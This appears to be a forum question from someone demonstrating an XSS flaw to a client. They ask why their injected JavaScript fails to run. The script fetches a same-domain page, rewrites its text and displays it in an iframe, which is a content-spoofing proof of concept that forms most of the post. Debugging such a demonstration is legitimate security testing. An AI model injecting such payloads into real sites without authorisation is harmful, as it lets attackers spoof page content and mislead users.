Injected JavaScript function not executing <p>As part of an XSS flaw I'm trying to demonstrate to a client, I'm trying to inject some JavaScript that will </p> <ol> <li>retrieve a webpage,</li> <li>edit the source of that webpage, and</li> <li>spawn an iframe with the new source.</li> </ol> <p>Here is the code that I have: </p> <pre><code>&lt;script&gt; function getSource() { xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { var content=xmlhttp.responseText; content = content.replace(/hey/gi, "howdy"); var ifrm = document.getElementById('myIframe'); ifrm = (ifrm.contentWindow) ? ifrm.contentWindow : (ifrm.contentDocument.document) ? ifrm.contentDocument.document : ifrm.contentDocument; ifrm.document.open(); ifrm.document.write(content); ifrm.document.close(); } } xmlhttp.open("GET","http://www.site.com/pagetopull.html",true); xmlhttp.send(); } &lt;/script&gt; &lt;button onclick="getSource();"&gt;click&lt;/button&gt; &lt;iframe id="myIframe"&gt;&lt;/iframe&gt; </code></pre> <p>If I have this code wrapped in html tags and then make it into its own page and hit click, the code executes perfectly and the retrieved page is displayed in the iframe. However, when I inject this code into my test surface, the iframe appears but hitting click does not execute the function and retrieve the desired webpage. I am retrieving a page from the same domain, so it is not violating the same origin policy (as far as I'm aware). Can anyone tell me what I'm doing wrong? Thanks a lot.</p>